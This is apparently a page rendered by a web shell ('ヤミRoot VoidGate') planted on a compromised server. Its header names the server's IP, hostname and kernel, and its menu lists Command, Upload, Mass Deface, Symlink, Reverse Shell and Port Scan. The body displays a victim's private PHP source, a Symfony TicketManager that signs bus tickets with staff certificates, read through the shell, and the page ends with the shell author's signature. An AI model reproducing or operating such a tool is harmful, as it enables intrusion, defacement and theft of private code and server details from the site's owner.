ヤミRoot VoidGate
User / IP
:
216.73.216.143
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
api
/
src
/
AppBundle
/
Manager
/
Viewing: TicketManager.php
<?php namespace AppBundle\Manager; use AppBundle\Entity\Ticket; use AppBundle\Entity\Staff; use AppBundle\Entity\Booking; use Doctrine\ORM\EntityManager; use AppBundle\Utils\Signer\Signer; use AppBundle\Utils\PkiServer\PkiNodeServer; class TicketManager { private $manager; private $signer; private $pkiServer; public function __construct(EntityManager $manager , Signer $signer, PkiNodeServer $pkiServer) { $this->manager = $manager; $this->signer = $signer; $this->pkiServer = $pkiServer; } public function createTicket(Booking $booking) { $ticket = new Ticket(); $this->manager->persist($ticket); $this->manager->flush(); return $ticket; } /** * sign a ticket using the staff's key */ public function signTicketByStaff(Ticket $ticket, Staff $staff) { if ( in_array("ROLE_OPERATOR", $staff->getRoles())) { return $this->signTicketByOperator($ticket, $staff); } if ( in_array("ROLE_CONTROLLER", $staff->getRoles())) { return $this->signTicketByController($ticket, $staff); } } /** * signature made by an hostess */ public function signTicketByOperator(Ticket $ticket, Staff $operator) { if( ! $ticket->getPaidInFull()){ ////TODO error: the operator signs only full paid tickets return "TODO: Erreur-Unpaid Ticket cannot be signed"; } $certData = $this->pkiServer->loadUserCertData($operator); if( $certData) { $isValid = $this->pkiServer->checkCert($certData->getCert()); if( $isValid){ //$strToSign = $ticket->getOperatorSignature(); $signStr = $this->buildStringToSign($ticket, $operator); $binarySignature = $this->signer->sign($signStr, $certData->getPrivateKey(),$certData->getPassPhrase()); //Saving the $signature $ticket->setSigningOperator($operator); $ticket->setBase64OperatorSignature(base64_encode($binarySignature)); $this->manager->flush(); return true; }else { //TODO error: this certData in not valid return "TODO! Error - This certificate in not valid. Contact the administrators to get a new one."; } }else { //TODO error : No certData for this user return "Error: Either PKI is down or There is o certificate for this user, id:". $operator->getId(); } } /** * signature made by a controller */ public function signTicketByController(Ticket $ticket, Staff $controller) { if( ! $ticket->getPaidInFull()){ //error: the operator signs only full paid tickets return "TODO: Erreur-Unpaid Ticket cannot be signed"; } if (!$this->checkTicketSignedByOperator($ticket, $ticket->getSigningOperator())){ return false; } $certData = $this->pkiServer->loadUserCertData($controller); if( $certData) { $isValid = $this->pkiServer->checkCert($certData->getCert()); if( $isValid){ //the operator signature is the the input of the controller signature $signStr = $this->buildStringToSign($ticket, $controller); $binarySignature = $this->signer->sign($signStr, $certData->getPrivateKey(),$certData->getPassPhrase()); //Saving the $signature $ticket->setBusController($controller); $ticket->setBase64BusControllerSignature(base64_encode($binarySignature)); $this->manager->flush(); return true; }else { //error: this certData in not valid return "TODO! Error - This certificate in not valid. Contact the administrators to get a new one."; } }else { //error : No certData for this user return "Error: Either PKI is down or There is o certificate for this user, id:". $controller->getId(); } } /** * check the validity of a ticket signed with a staff's private key */ public function checkTicketSignedByStaff($ticket, Staff $staff) { if ( in_array("ROLE_OPERATOR", $staff->getRoles())) { return $this->checkTicketSignedByOperator($ticket, $staff); } if ( in_array("ROLE_CONTROLLER", $staff->getRoles())) { return $this->checkTicketSignedByController($ticket, $staff); } return false; } /** * ticket signed by an Operator */ public function checkTicketSignedByOperator($ticket, Staff $operator) { $certData = $this->pkiServer->loadUserCertData($operator); $strToSign = $this->buildStringToSign($ticket, $operator); $binSignature = base64_decode($ticket->getBase64OperatorSignature()); $isOk = $this->signer->verifySignature($strToSign, $binSignature,$certData->getCert()); return $isOk; } /** * ticket signed by a controller */ public function checkTicketSignedByController($ticket, Staff $controller) { //= $ticket->getOperatorSignature(); $strToSign = $this->buildStringToSign($ticket, $controller); $binSignature = base64_decode($ticket->getBase64ControllerSignature()); $certData = $this->pkiServer->loadUserCertData($controller); $isOk = $this->signer->verifySignature($strToSign, $binSignature,$certData->getCert()); return $isOk; } /** * build a string containg all data that must be signed. * The string is a set of values separated by semi colon (;) * the resulting string in this scope is "{ticketId};{bookingId};{travelId};{customerId};{staffId}" * where * ticketId = the id of the ticket being signed * bookingId = the id of the booking to which the ticket is related * travelId = the travel concerned by the booking * customerId = the customer who will use the ticket * staffId = the id of the staff who signed the ticket */ public function buildStringToSign(Ticket $ticket, $staff) { $booking = $this->manager ->getRepository('AppBundle:Booking') ->findOneByTicket($ticket); $signStr = $ticket->getTicketId(). ";". $booking->getBookingId(). ";". $booking->getTravel()->getTravelId(). ";". $booking->getCustomer()->getId(). ";". $ticket->getUsed(). ";". $staff->getId(); if ( in_array("ROLE_CONTROLLER", $staff->getRoles())) { $signStr = $signStr.";".$ticket->getUseDate(); } return $signStr; } }
Coded With 💗 by
0x6ick